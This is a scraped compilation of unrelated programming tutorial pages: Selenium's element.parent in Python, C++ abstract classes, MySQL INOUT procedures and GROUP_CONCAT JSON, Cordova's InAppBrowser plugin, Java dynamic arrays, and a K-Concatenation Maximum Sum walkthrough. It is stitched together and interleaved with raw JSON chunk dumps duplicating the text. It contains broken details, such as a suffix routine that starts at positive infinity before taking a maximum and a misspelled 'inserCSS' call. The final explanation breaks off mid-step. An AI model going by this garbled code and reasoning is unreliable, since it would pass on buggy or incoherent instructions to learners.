method.Program – # import webdriverfrom selenium import webdriver # create webdriver objectdriver = webdriver.Firefox() # get geeksforgeeks.orgdriver.get("https://www.geeksforgeeks.org/") # get element element = driver.find_element_by_id("gsc-i-id2") # get parentprint(element.parent) Output- Terminal Output – Python-selenium selenium Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Python Dictionary Read a file line by line in Python How to Install PIP on Windows ? Enumerate() in Python Different ways to create Pandas Dataframe Iterate over a list in Python Python String | replace() *args and **kwargs in Python Reading and Writing to text files in Python Create a Pandas DataFrame from Lists
[ { "code": null, "e": 25929, "s": 25901, "text": "\n30 Apr, 2020" }, { "code": null, "e": 26486, "s": 25929, "text": "Selenium’s Python Module is built to perform automated testing with Python. Selenium Python bindings provides a simple API to write functional/acceptance tests using Selenium WebDriver. To open a webpage using Selenium Python, checkout – Navigating links using get method – Selenium Python. Just being able to go to places isn’t terribly useful. What we’d really like to do is to interact with the pages, or, more specifically, the HTML elements within a page. There are multiple strategies to find an element using Selenium, checkout – Locating Strategies" }, { "code": null, "e": 26656, "s": 26486, "text": "This article revolves around how to use parent method in Selenium. parent method is used to get internal reference to the WebDriver instance this element was found from." }, { "code": null, "e": 26671, "s": 26656, "text": "element.parent" }, { "code": null, "e": 26681, "s": 26671, "text": "Example –" }, { "code": "<input type=\"text\" name=\"passwd\" id=\"passwd-id\" />", "e": 26732, "s": 26681, "text": null }, { "code": null, "e": 26813, "s": 26732, "text": "To find an element one needs to use one of the locating strategies, For example," }, { "code": null, "e": 26977, "s": 26813, "text": "element = driver.find_element_by_id(\"passwd-id\")\nelement = driver.find_element_by_name(\"passwd\")\nelement = driver.find_element_by_xpath(\"//input[@id='passwd-id']\")" }, { "code": null, "e": 27023, "s": 26977, "text": "Also, to find multiple elements, we can use –" }, { "code": null, "e": 27073, "s": 27023, "text": "elements = driver.find_elements_by_name(\"passwd\")" }, { "code": null, "e": 27119, "s": 27073, "text": "Now one can get parent of this element with –" }, { "code": null, "e": 27134, "s": 27119, "text": "element.parent" }, { "code": null, "e": 27227, "s": 27134, "text": "Let’s try to get element and its parent method on geeksforgeeksusing parent method.Program –" }, { "code": "# import webdriverfrom selenium import webdriver # create webdriver objectdriver = webdriver.Firefox() # get geeksforgeeks.orgdriver.get(\"https://www.geeksforgeeks.org/\") # get element element = driver.find_element_by_id(\"gsc-i-id2\") # get parentprint(element.parent)", "e": 27499, "s": 27227, "text": null }, { "code": null, "e": 27507, "s": 27499, "text": "Output-" }, { "code": null, "e": 27525, "s": 27507, "text": "Terminal Output –" }, { "code": null, "e": 27541, "s": 27525, "text": "Python-selenium" }, { "code": null, "e": 27550, "s": 27541, "text": "selenium" }, { "code": null, "e": 27557, "s": 27550, "text": "Python" }, { "code": null, "e": 27655, "s": 27557, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 27673, "s": 27655, "text": "Python Dictionary" }, { "code": null, "e": 27708, "s": 27673, "text": "Read a file line by line in Python" }, { "code": null, "e": 27740, "s": 27708, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 27762, "s": 27740, "text": "Enumerate() in Python" }, { "code": null, "e": 27804, "s": 27762, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 27834, "s": 27804, "text": "Iterate over a list in Python" }, { "code": null, "e": 27860, "s": 27834, "text": "Python String | replace()" }, { "code": null, "e": 27889, "s": 27860, "text": "*args and **kwargs in Python" }, { "code": null, "e": 27933, "s": 27889, "text": "Reading and Writing to text files in Python" } ]
Pure Virtual Functions and Abstract Classes in C++ - GeeksforGeeks
12 Oct, 2021 Sometimes implementation of all function cannot be provided in a base class because we don’t know the implementation. Such a class is called abstract class. For example, let Shape be a base class. We cannot provide implementation of function draw() in Shape, but we know every derived class must have implementation of draw(). Similarly an Animal class doesn’t have implementation of move() (assuming that all animals move), but all animals must know how to move. We cannot create objects of abstract classes.A pure virtual function (or abstract function) in C++ is a virtual function for which we can have implementation, But we must override that function in the derived class, otherwise the derived class will also become abstract class (For more info about where we provide implementation for such functions refer to this https://stackoverflow.com/questions/2089083/pure-virtual-function-with-implementation). A pure virtual function is declared by assigning 0 in declaration. See the following example. CPP // An abstract classclass Test{ // Data members of classpublic: // Pure Virtual Function virtual void show() = 0; /* Other members */}; A complete example: A pure virtual function is implemented by classes which are derived from a Abstract class. Following is a simple example to demonstrate the same. CPP #include<iostream>using namespace std; class Base{ int x;public: virtual void fun() = 0; int getX() { return x; }}; // This class inherits from Base and implements fun()class Derived: public Base{ int y;public: void fun() { cout << "fun() called"; }}; int main(void){ Derived d; d.fun(); return 0;} Output: fun() called Some Interesting Facts: 1) A class is abstract if it has at least one pure virtual function. In the following example, Test is an abstract class because it has a pure virtual function show(). C++ class Test{int x;public:virtual void show() = 0;int getX() { return x; }}; int main(void){Test t;return 0;} Output: Compiler Error: cannot declare variable 't' to be of abstract type 'Test' because the following virtual functions are pure within 'Test': note: virtual void Test::show() 2) We can have pointers and references of abstract class type. For example the following program works fine. CPP #include<iostream>using namespace std; class Base{public: virtual void show() = 0;}; class Derived: public Base{public: void show() { cout << "In Derived \n"; }}; int main(void){ Base *bp = new Derived(); bp->show(); return 0;} Output: In Derived 3) If we do not override the pure virtual function in derived class, then derived class also becomes abstract class. The following example demonstrates the same. CPP #include<iostream>using namespace std;class Base{public: virtual void show() = 0;}; class Derived : public Base { }; int main(void){ Derived d; return 0;} Compiler Error: cannot declare variable 'd' to be of abstract type 'Derived' because the following virtual functions are pure within 'Derived': virtual void Base::show() 4) An abstract class can have constructors. For example, the following program compiles and runs fine. CPP #include<iostream>using namespace std; // An abstract class with constructorclass Base{protected:int x;public:virtual void fun() = 0;Base(int i) { x = i; cout<<"Constructor of base called\n"; }}; class Derived: public Base{ int y;public: Derived(int i, int j):Base(i) { y = j; } void fun() { cout << "x = " << x << ", y = " << y<<'\n'; }}; int main(void){ Derived d(4, 5); d.fun(); //object creation using pointer of base class Base *ptr=new Derived(6,7); ptr->fun(); return 0;} Output: Constructor of base called x = 4, y = 5 Constructor of base called x = 6, y = 7 Comparison with Java In Java, a class can be made abstract by using abstract keyword. Similarly a function can be made pure virtual or abstract by using abstract keyword. See Abstract Classes in Java for more details.Interface vs Abstract Classes: An interface does not have implementation of any of its methods, it can be considered as a collection of method declarations. In C++, an interface can be simulated by making all methods as pure virtual. In Java, there is a separate keyword for interface. We can think of Interface as header files in C++, like in header files we only provide the body of the class that is going to implement it. Similarly in java in Interface we only provides the body of the class and we write the actual code in whatever class implements it.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. Lavish Saluja surendrapandey pradhanvikas11 vasukesharwani24 greensku cpp-inheritance cpp-virtual C++ School Programming CPP Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Templates in C++ with Examples Operator Overloading in C++ Socket Programming in C/C++ vector erase() and clear() in C++ Substring in C++ Python Dictionary Reverse a string in Java Interfaces in Java Operator Overloading in C++ C++ Data Types
[ { "code": null, "e": 25395, "s": 25367, "text": "\n12 Oct, 2021" }, { "code": null, "e": 26404, "s": 25395, "text": "Sometimes implementation of all function cannot be provided in a base class because we don’t know the implementation. Such a class is called abstract class. For example, let Shape be a base class. We cannot provide implementation of function draw() in Shape, but we know every derived class must have implementation of draw(). Similarly an Animal class doesn’t have implementation of move() (assuming that all animals move), but all animals must know how to move. We cannot create objects of abstract classes.A pure virtual function (or abstract function) in C++ is a virtual function for which we can have implementation, But we must override that function in the derived class, otherwise the derived class will also become abstract class (For more info about where we provide implementation for such functions refer to this https://stackoverflow.com/questions/2089083/pure-virtual-function-with-implementation). A pure virtual function is declared by assigning 0 in declaration. See the following example. " }, { "code": null, "e": 26408, "s": 26404, "text": "CPP" }, { "code": "// An abstract classclass Test{ // Data members of classpublic: // Pure Virtual Function virtual void show() = 0; /* Other members */};", "e": 26562, "s": 26408, "text": null }, { "code": null, "e": 26728, "s": 26562, "text": "A complete example: A pure virtual function is implemented by classes which are derived from a Abstract class. Following is a simple example to demonstrate the same." }, { "code": null, "e": 26732, "s": 26728, "text": "CPP" }, { "code": "#include<iostream>using namespace std; class Base{ int x;public: virtual void fun() = 0; int getX() { return x; }}; // This class inherits from Base and implements fun()class Derived: public Base{ int y;public: void fun() { cout << \"fun() called\"; }}; int main(void){ Derived d; d.fun(); return 0;}", "e": 27057, "s": 26732, "text": null }, { "code": null, "e": 27066, "s": 27057, "text": "Output: " }, { "code": null, "e": 27079, "s": 27066, "text": "fun() called" }, { "code": null, "e": 27272, "s": 27079, "text": "Some Interesting Facts: 1) A class is abstract if it has at least one pure virtual function. In the following example, Test is an abstract class because it has a pure virtual function show(). " }, { "code": null, "e": 27276, "s": 27272, "text": "C++" }, { "code": null, "e": 27351, "s": 27276, "text": "class Test{int x;public:virtual void show() = 0;int getX() { return x; }};" }, { "code": null, "e": 27384, "s": 27351, "text": "int main(void){Test t;return 0;}" }, { "code": null, "e": 27393, "s": 27384, "text": "Output: " }, { "code": null, "e": 27570, "s": 27393, "text": "Compiler Error: cannot declare variable 't' to be of abstract\n type 'Test' because the following virtual functions are pure \nwithin 'Test': note: virtual void Test::show() " }, { "code": null, "e": 27680, "s": 27570, "text": "2) We can have pointers and references of abstract class type. For example the following program works fine. " }, { "code": null, "e": 27684, "s": 27680, "text": "CPP" }, { "code": "#include<iostream>using namespace std; class Base{public: virtual void show() = 0;}; class Derived: public Base{public: void show() { cout << \"In Derived \\n\"; }}; int main(void){ Base *bp = new Derived(); bp->show(); return 0;}", "e": 27930, "s": 27684, "text": null }, { "code": null, "e": 27939, "s": 27930, "text": "Output: " }, { "code": null, "e": 27951, "s": 27939, "text": "In Derived " }, { "code": null, "e": 28115, "s": 27951, "text": "3) If we do not override the pure virtual function in derived class, then derived class also becomes abstract class. The following example demonstrates the same. " }, { "code": null, "e": 28119, "s": 28115, "text": "CPP" }, { "code": "#include<iostream>using namespace std;class Base{public: virtual void show() = 0;}; class Derived : public Base { }; int main(void){ Derived d; return 0;}", "e": 28281, "s": 28119, "text": null }, { "code": null, "e": 28454, "s": 28281, "text": "Compiler Error: cannot declare variable 'd' to be of abstract type \n'Derived' because the following virtual functions are pure within\n'Derived': virtual void Base::show() " }, { "code": null, "e": 28558, "s": 28454, "text": "4) An abstract class can have constructors. For example, the following program compiles and runs fine. " }, { "code": null, "e": 28562, "s": 28558, "text": "CPP" }, { "code": "#include<iostream>using namespace std; // An abstract class with constructorclass Base{protected:int x;public:virtual void fun() = 0;Base(int i) { x = i; cout<<\"Constructor of base called\\n\"; }}; class Derived: public Base{ int y;public: Derived(int i, int j):Base(i) { y = j; } void fun() { cout << \"x = \" << x << \", y = \" << y<<'\\n'; }}; int main(void){ Derived d(4, 5); d.fun(); //object creation using pointer of base class Base *ptr=new Derived(6,7); ptr->fun(); return 0;}", "e": 29113, "s": 28562, "text": null }, { "code": null, "e": 29122, "s": 29113, "text": "Output: " }, { "code": null, "e": 29202, "s": 29122, "text": "Constructor of base called\nx = 4, y = 5\nConstructor of base called\nx = 6, y = 7" }, { "code": null, "e": 29706, "s": 29202, "text": "Comparison with Java In Java, a class can be made abstract by using abstract keyword. Similarly a function can be made pure virtual or abstract by using abstract keyword. See Abstract Classes in Java for more details.Interface vs Abstract Classes: An interface does not have implementation of any of its methods, it can be considered as a collection of method declarations. In C++, an interface can be simulated by making all methods as pure virtual. In Java, there is a separate keyword for interface. " }, { "code": null, "e": 30102, "s": 29706, "text": "We can think of Interface as header files in C++, like in header files we only provide the body of the class that is going to implement it. Similarly in java in Interface we only provides the body of the class and we write the actual code in whatever class implements it.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above." }, { "code": null, "e": 30116, "s": 30102, "text": "Lavish Saluja" }, { "code": null, "e": 30131, "s": 30116, "text": "surendrapandey" }, { "code": null, "e": 30146, "s": 30131, "text": "pradhanvikas11" }, { "code": null, "e": 30163, "s": 30146, "text": "vasukesharwani24" }, { "code": null, "e": 30172, "s": 30163, "text": "greensku" }, { "code": null, "e": 30188, "s": 30172, "text": "cpp-inheritance" }, { "code": null, "e": 30200, "s": 30188, "text": "cpp-virtual" }, { "code": null, "e": 30204, "s": 30200, "text": "C++" }, { "code": null, "e": 30223, "s": 30204, "text": "School Programming" }, { "code": null, "e": 30227, "s": 30223, "text": "CPP" }, { "code": null, "e": 30325, "s": 30227, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 30356, "s": 30325, "text": "Templates in C++ with Examples" }, { "code": null, "e": 30384, "s": 30356, "text": "Operator Overloading in C++" }, { "code": null, "e": 30412, "s": 30384, "text": "Socket Programming in C/C++" }, { "code": null, "e": 30446, "s": 30412, "text": "vector erase() and clear() in C++" }, { "code": null, "e": 30463, "s": 30446, "text": "Substring in C++" }, { "code": null, "e": 30481, "s": 30463, "text": "Python Dictionary" }, { "code": null, "e": 30506, "s": 30481, "text": "Reverse a string in Java" }, { "code": null, "e": 30525, "s": 30506, "text": "Interfaces in Java" }, { "code": null, "e": 30553, "s": 30525, "text": "Operator Overloading in C++" } ]
How can I create MySQL stored procedure with INOUT parameter?
Following example will demonstrate MySQL stored procedure with INOUT parameter − mysql> DELIMITER // ; mysql> Create PROCEDURE counter(INOUT count INT, IN increment INT) -> BEGIN -> SET count = count + increment; -> END // Query OK, 0 rows affected (0.03 sec) Here, ‘count’ is the INOUT parameter, which can store and return values and ‘increment’ is the IN parameter, which accepts the values from user. mysql> DELIMITER ; mysql> SET @counter = 0; Query OK, 0 rows affected (0.00 sec) mysql> CALL counter(@Counter, 1); Query OK, 0 rows affected (0.00 sec) mysql> Select @Counter; +----------+ | @Counter | +----------+ | 1 | +----------+ 1 row in set (0.00 sec) mysql> CALL counter(@Counter, 5); Query OK, 0 rows affected (0.00 sec) mysql> Select @Counter; +----------+ | @Counter | +----------+ | 6 | +----------+ 1 row in set (0.00 sec)
[ { "code": null, "e": 1143, "s": 1062, "text": "Following example will demonstrate MySQL stored procedure with INOUT parameter −" }, { "code": null, "e": 1334, "s": 1143, "text": "mysql> DELIMITER // ;\nmysql> Create PROCEDURE counter(INOUT count INT, IN increment INT)\n -> BEGIN\n -> SET count = count + increment;\n -> END //\nQuery OK, 0 rows affected (0.03 sec)" }, { "code": null, "e": 1479, "s": 1334, "text": "Here, ‘count’ is the INOUT parameter, which can store and return values and ‘increment’ is the IN parameter, which accepts the values from user." }, { "code": null, "e": 1932, "s": 1479, "text": "mysql> DELIMITER ;\nmysql> SET @counter = 0;\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> CALL counter(@Counter, 1);\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> Select @Counter;\n+----------+\n| @Counter |\n+----------+\n| 1 |\n+----------+\n1 row in set (0.00 sec)\n\nmysql> CALL counter(@Counter, 5);\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> Select @Counter;\n+----------+\n| @Counter |\n+----------+\n| 6 |\n+----------+\n1 row in set (0.00 sec)" } ]
How to create JSON format with group-concat in MySQL?
You can create JSON format using group_concat() function from MySQL. The syntax is as follows − SELECT yourColumnName1, GROUP_CONCAT(CONCAT('{anytName:"', yourColumnName, '", anyName:"',yourColunName,'"}')) anyVariableName from yourTableName group by yourColumnName1; To understand the above syntax, let us first create a table. The query to create a table is as follows − mysql> create table JsonFormatDemo -> ( -> UserId int, -> UserName varchar(100), -> UserEmail varchar(100) -> ); Query OK, 0 rows affected (0.99 sec) Insert some records in the table using insert command. The query to insert record is as follows − mysql> insert into JsonFormatDemo values(101,'John','[email protected]'); Query OK, 1 row affected (0.19 sec) mysql> insert into JsonFormatDemo values(101,'Bob','[email protected]'); Query OK, 1 row affected (0.18 sec) mysql> insert into JsonFormatDemo values(102,'Carol','[email protected]'); Query OK, 1 row affected (0.12 sec) mysql> insert into JsonFormatDemo values(103,'Sam','[email protected]'); Query OK, 1 row affected (0.15 sec) Display all records from the table using select statement. The query is as follows − mysql> select *from JsonFormatDemo; +--------+----------+-----------------+ | UserId | UserName | UserEmail | +--------+----------+-----------------+ | 101 | John | [email protected] | | 101 | Bob | [email protected] | | 102 | Carol | [email protected] | | 103 | Sam | [email protected] | +--------+----------+-----------------+ 4 rows in set (0.00 sec) The query to create a JSON format with the help of group_concat() function − mysql> select UserId, -> GROUP_CONCAT(CONCAT('{Name:"', UserName, '", Email:"',UserEmail,'"}')) JsonFormat -> from JsonFormatDemo -> group by UserId; +--------+----------------------------------------------------------------------------+ | UserId | JsonFormat | +--------+----------------------------------------------------------------------------+ | 101 | {Name:"John", Email:"[email protected]"},{Name:"Bob", Email:"[email protected]"} | | 102 | {Name:"Carol", Email:"[email protected]"} | | 103 | {Name:"Sam", Email:"[email protected]"} | +--------+----------------------------------------------------------------------------+ 3 rows in set (0.00 sec)
[ { "code": null, "e": 1158, "s": 1062, "text": "You can create JSON format using group_concat() function from MySQL. The syntax is as follows −" }, { "code": null, "e": 1336, "s": 1158, "text": "SELECT yourColumnName1,\n GROUP_CONCAT(CONCAT('{anytName:\"', yourColumnName, '\",\nanyName:\"',yourColunName,'\"}')) anyVariableName\n from yourTableName\ngroup by yourColumnName1;" }, { "code": null, "e": 1441, "s": 1336, "text": "To understand the above syntax, let us first create a table. The query to create a table is as follows −" }, { "code": null, "e": 1606, "s": 1441, "text": "mysql> create table JsonFormatDemo\n -> (\n -> UserId int,\n -> UserName varchar(100),\n -> UserEmail varchar(100)\n -> );\nQuery OK, 0 rows affected (0.99 sec)" }, { "code": null, "e": 1704, "s": 1606, "text": "Insert some records in the table using insert command. The query to insert record is as follows −" }, { "code": null, "e": 2134, "s": 1704, "text": "mysql> insert into JsonFormatDemo values(101,'John','[email protected]');\nQuery OK, 1 row affected (0.19 sec)\n\nmysql> insert into JsonFormatDemo values(101,'Bob','[email protected]');\nQuery OK, 1 row affected (0.18 sec)\n\nmysql> insert into JsonFormatDemo values(102,'Carol','[email protected]');\nQuery OK, 1 row affected (0.12 sec)\n\nmysql> insert into JsonFormatDemo values(103,'Sam','[email protected]');\nQuery OK, 1 row affected (0.15 sec)" }, { "code": null, "e": 2219, "s": 2134, "text": "Display all records from the table using select statement. The query is as follows −" }, { "code": null, "e": 2255, "s": 2219, "text": "mysql> select *from JsonFormatDemo;" }, { "code": null, "e": 2600, "s": 2255, "text": "+--------+----------+-----------------+\n| UserId | UserName | UserEmail |\n+--------+----------+-----------------+\n| 101 | John | [email protected] |\n| 101 | Bob | [email protected] |\n| 102 | Carol | [email protected] |\n| 103 | Sam | [email protected] |\n+--------+----------+-----------------+\n4 rows in set (0.00 sec)" }, { "code": null, "e": 2677, "s": 2600, "text": "The query to create a JSON format with the help of group_concat() function −" }, { "code": null, "e": 2836, "s": 2677, "text": "mysql> select UserId,\n -> GROUP_CONCAT(CONCAT('{Name:\"', UserName, '\", Email:\"',UserEmail,'\"}')) JsonFormat\n -> from JsonFormatDemo\n -> group by UserId;" }, { "code": null, "e": 3477, "s": 2836, "text": "+--------+----------------------------------------------------------------------------+\n| UserId | JsonFormat |\n+--------+----------------------------------------------------------------------------+\n| 101 | {Name:\"John\", Email:\"[email protected]\"},{Name:\"Bob\", Email:\"[email protected]\"} |\n| 102 | {Name:\"Carol\", Email:\"[email protected]\"} |\n| 103 | {Name:\"Sam\", Email:\"[email protected]\"} |\n+--------+----------------------------------------------------------------------------+\n3 rows in set (0.00 sec)" } ]
Cordova - InAppBrowser
This plugin is used for opening web browser inside Cordova app. We need to install this plugin in command prompt window before we are able to use it. C:\Users\username\Desktop\CordovaProject>cordova plugin add cordova-plugin-inappbrowser We will add one button that will be used for opening inAppBrowser window in index.html. Now let's add event listener for our button in onDeviceReady function in index.js. document.getElementById("openBrowser").addEventListener("click", openBrowser); In this step we are creating function that will open browser inside our app. We are assigning it to the ref variable that we can use later to add event listeners. function openBrowser() { var url = 'https://cordova.apache.org'; var target = '_blank'; var options = "location = yes" var ref = cordova.InAppBrowser.open(url, target, options); ref.addEventListener('loadstart', loadstartCallback); ref.addEventListener('loadstop', loadstopCallback); ref.addEventListener('loaderror', loaderrorCallback); ref.addEventListener('exit', exitCallback); function loadstartCallback(event) { console.log('Loading started: ' + event.url) } function loadstopCallback(event) { console.log('Loading finished: ' + event.url) } function loaderrorCallback(error) { console.log('Loading error: ' + error.message) } function exitCallback() { console.log('Browser is closed...') } } If we press BROWSER button, we will see the following output on screen. Console will also listen to events. loadstart event will fire when URL is started loading and loadstop will fire when URL is loaded. We can see it in console. Once we close the browser, exit event will fire. There are other possible options for InAppBrowser window. We will explain it in the table below. location Used to turn the browser location bar on or off. Values are yes or no. hidden Used to hide or show inAppBrowser. Values are yes or no. clearCache Used to clear browser cookie cache. Values are yes or no. clearsessioncache Used to clear session cookie cache. Values are yes or no. zoom Used to hide or show Android browser's zoom controls. Values are yes or no. hardwareback yes to use the hardware back button to navigate back through the browser history. no to close the browser once back button is clicked. We can use ref (reference) variable for some other functionalities. We will show you just quick examples of it. For removing event listeners we can use − ref.removeEventListener(eventname, callback); For closing InAppBrowser we can use − ref.close(); If we opened hidden window, we can show it − ref.show(); Even JavaScript code can be injected to the InAppBrowser − var details = "javascript/file/url" ref.executeScript(details, callback); The same concept can be used for injecting CSS − var details = "css/file/url" ref.inserCSS(details, callback); 45 Lectures 2 hours Skillbakerystudios 16 Lectures 1 hours Nilay Mehta Print Add Notes Bookmark this page
[ { "code": null, "e": 2244, "s": 2180, "text": "This plugin is used for opening web browser inside Cordova app." }, { "code": null, "e": 2330, "s": 2244, "text": "We need to install this plugin in command prompt window before we are able to use it." }, { "code": null, "e": 2419, "s": 2330, "text": "C:\\Users\\username\\Desktop\\CordovaProject>cordova plugin add cordova-plugin-inappbrowser\n" }, { "code": null, "e": 2507, "s": 2419, "text": "We will add one button that will be used for opening inAppBrowser window in index.html." }, { "code": null, "e": 2590, "s": 2507, "text": "Now let's add event listener for our button in onDeviceReady function in index.js." }, { "code": null, "e": 2669, "s": 2590, "text": "document.getElementById(\"openBrowser\").addEventListener(\"click\", openBrowser);" }, { "code": null, "e": 2832, "s": 2669, "text": "In this step we are creating function that will open browser inside our app. We are assigning it to the ref variable that we can use later to add event listeners." }, { "code": null, "e": 3612, "s": 2832, "text": "function openBrowser() {\n var url = 'https://cordova.apache.org';\n var target = '_blank';\n var options = \"location = yes\"\n var ref = cordova.InAppBrowser.open(url, target, options);\n \n ref.addEventListener('loadstart', loadstartCallback);\n ref.addEventListener('loadstop', loadstopCallback);\n ref.addEventListener('loaderror', loaderrorCallback);\n ref.addEventListener('exit', exitCallback);\n\n function loadstartCallback(event) {\n console.log('Loading started: ' + event.url)\n }\n\n function loadstopCallback(event) {\n console.log('Loading finished: ' + event.url)\n }\n\n function loaderrorCallback(error) {\n console.log('Loading error: ' + error.message)\n }\n\n function exitCallback() {\n console.log('Browser is closed...')\n }\n}" }, { "code": null, "e": 3684, "s": 3612, "text": "If we press BROWSER button, we will see the following output on screen." }, { "code": null, "e": 3843, "s": 3684, "text": "Console will also listen to events. loadstart event will fire when URL is started loading and loadstop will fire when URL is loaded. We can see it in console." }, { "code": null, "e": 3892, "s": 3843, "text": "Once we close the browser, exit event will fire." }, { "code": null, "e": 3989, "s": 3892, "text": "There are other possible options for InAppBrowser window. We will explain it in the table below." }, { "code": null, "e": 3998, "s": 3989, "text": "location" }, { "code": null, "e": 4069, "s": 3998, "text": "Used to turn the browser location bar on or off. Values are yes or no." }, { "code": null, "e": 4076, "s": 4069, "text": "hidden" }, { "code": null, "e": 4133, "s": 4076, "text": "Used to hide or show inAppBrowser. Values are yes or no." }, { "code": null, "e": 4144, "s": 4133, "text": "clearCache" }, { "code": null, "e": 4202, "s": 4144, "text": "Used to clear browser cookie cache. Values are yes or no." }, { "code": null, "e": 4220, "s": 4202, "text": "clearsessioncache" }, { "code": null, "e": 4278, "s": 4220, "text": "Used to clear session cookie cache. Values are yes or no." }, { "code": null, "e": 4283, "s": 4278, "text": "zoom" }, { "code": null, "e": 4359, "s": 4283, "text": "Used to hide or show Android browser's zoom controls. Values are yes or no." }, { "code": null, "e": 4372, "s": 4359, "text": "hardwareback" }, { "code": null, "e": 4507, "s": 4372, "text": "yes to use the hardware back button to navigate back through the browser history. no to close the browser once back button is clicked." }, { "code": null, "e": 4661, "s": 4507, "text": "We can use ref (reference) variable for some other functionalities. We will show you just quick examples of it. For removing event listeners we can use −" }, { "code": null, "e": 4709, "s": 4661, "text": "ref.removeEventListener(eventname, callback); \n" }, { "code": null, "e": 4747, "s": 4709, "text": "For closing InAppBrowser we can use −" }, { "code": null, "e": 4761, "s": 4747, "text": "ref.close();\n" }, { "code": null, "e": 4806, "s": 4761, "text": "If we opened hidden window, we can show it −" }, { "code": null, "e": 4819, "s": 4806, "text": "ref.show();\n" }, { "code": null, "e": 4878, "s": 4819, "text": "Even JavaScript code can be injected to the InAppBrowser −" }, { "code": null, "e": 4953, "s": 4878, "text": "var details = \"javascript/file/url\"\nref.executeScript(details, callback);\n" }, { "code": null, "e": 5002, "s": 4953, "text": "The same concept can be used for injecting CSS −" }, { "code": null, "e": 5065, "s": 5002, "text": "var details = \"css/file/url\"\nref.inserCSS(details, callback);\n" }, { "code": null, "e": 5098, "s": 5065, "text": "\n 45 Lectures \n 2 hours \n" }, { "code": null, "e": 5118, "s": 5098, "text": " Skillbakerystudios" }, { "code": null, "e": 5151, "s": 5118, "text": "\n 16 Lectures \n 1 hours \n" }, { "code": null, "e": 5164, "s": 5151, "text": " Nilay Mehta" }, { "code": null, "e": 5171, "s": 5164, "text": " Print" }, { "code": null, "e": 5182, "s": 5171, "text": " Add Notes" } ]
What are variable length (Dynamic) Arrays in Java?
In Java, Arrays are of fixed size. The size of the array will be decided at the time of creation. But if you still want to create Arrays of variable length you can do that using collections like array list. import java.util.ArrayList; import java.util.Arrays; import java.util.Scanner; public class AddingItemsDynamically { public static void main(String args[]) { Scanner sc = new Scanner(System.in); System.out.println("Enter the size of the array :: "); int size = sc.nextInt(); String myArray[] = new String[size]; System.out.println("Enter elements of the array (Strings) :: "); for(int i=0; i<size; i++) { myArray[i] = sc.next(); } System.out.println(Arrays.toString(myArray)); ArrayList<String> myList = new ArrayList<String>(Arrays.asList(myArray)); System.out.println("Enter the element that is to be added:"); String element = sc.next(); myList.add(element); myArray = myList.toArray(myArray); System.out.println(Arrays.toString(myArray)); } } Enter the size of the array :: 3 Enter elements of the array (Strings) :: Ram Rahim Robert [Ram, Rahim, Robert] Enter the element that is to be added: Mahavir [Ram, Rahim, Robert, Mahavir]
[ { "code": null, "e": 1269, "s": 1062, "text": "In Java, Arrays are of fixed size. The size of the array will be decided at the time of creation. But if you still want to create Arrays of variable length you can do that using collections like array list." }, { "code": null, "e": 2116, "s": 1269, "text": "import java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Scanner;\n\npublic class AddingItemsDynamically {\n public static void main(String args[]) {\n Scanner sc = new Scanner(System.in);\n System.out.println(\"Enter the size of the array :: \");\n int size = sc.nextInt();\n String myArray[] = new String[size];\n System.out.println(\"Enter elements of the array (Strings) :: \");\n for(int i=0; i<size; i++) {\n myArray[i] = sc.next();\n }\n System.out.println(Arrays.toString(myArray));\n ArrayList<String> myList = new ArrayList<String>(Arrays.asList(myArray));\n System.out.println(\"Enter the element that is to be added:\");\n String element = sc.next();\n myList.add(element);\n myArray = myList.toArray(myArray);\n System.out.println(Arrays.toString(myArray));\n }\n}" }, { "code": null, "e": 2305, "s": 2116, "text": "Enter the size of the array ::\n3\nEnter elements of the array (Strings) ::\nRam\nRahim\nRobert\n[Ram, Rahim, Robert]\nEnter the element that is to be added:\nMahavir\n[Ram, Rahim, Robert, Mahavir]" } ]
K-Concatenation Maximum Sum in C++
Suppose we have an integer array arr and one integer k, we have to change the array by repeating it k times. So if arr = [1, 2] and k = 3 then the modified array will be [1, 2, 1, 2, 1, 2]. Now we have to find the maximum sub-array sum in the modified array. Note that the length of the sub-array can be 0 and its sum in that case is 0. As the answer may be very large, find the answer modulo 10^9 + 7. So if the input is like [1,-2,1] and k = 5, then the result will be 2. To solve this, we will follow these steps − Define method called getKadane(), this will take array, this will work like − Define method called getKadane(), this will take array, this will work like − ret := -inf, sum := 0, all values of ret and sum will be of mod 10^9 + 7 ret := -inf, sum := 0, all values of ret and sum will be of mod 10^9 + 7 for i in range 0 to size of arr – 1sum := max of arr[i] and arr[i] + sumret := max of ret, sum for i in range 0 to size of arr – 1 sum := max of arr[i] and arr[i] + sum sum := max of arr[i] and arr[i] + sum ret := max of ret, sum ret := max of ret, sum if ret is < 0, then return 0, otherwise ret if ret is < 0, then return 0, otherwise ret Define method called getSum(), this will take array, this will work like − Define method called getSum(), this will take array, this will work like − ret := 0, The ret value will be of mod 10^9 + 7 ret := 0, The ret value will be of mod 10^9 + 7 for i in range 0 to size of arr – 1ret := ret + arr[i] for i in range 0 to size of arr – 1 ret := ret + arr[i] ret := ret + arr[i] return ret return ret Define method called getPrefix(), this will take array, this will work like − Define method called getPrefix(), this will take array, this will work like − ret := -inf, sum := 0, all values of ret and sum will be of mod 10^9 + 7 ret := -inf, sum := 0, all values of ret and sum will be of mod 10^9 + 7 for i in range 0 to size of arr – 1sum := sum + arr[i]ret := max of ret and sum for i in range 0 to size of arr – 1 sum := sum + arr[i] sum := sum + arr[i] ret := max of ret and sum ret := max of ret and sum if ret is < 0, then return 0, otherwise ret if ret is < 0, then return 0, otherwise ret Define method called getSuffix(), this will take array, this will work like − Define method called getSuffix(), this will take array, this will work like − ret := inf, sum := 0, all values of ret and sum will be of mod 10^9 + 7 ret := inf, sum := 0, all values of ret and sum will be of mod 10^9 + 7 for i in range size of arr – 1 down to 0sum := sum + arr[i]ret := max of ret and sum for i in range size of arr – 1 down to 0 sum := sum + arr[i] sum := sum + 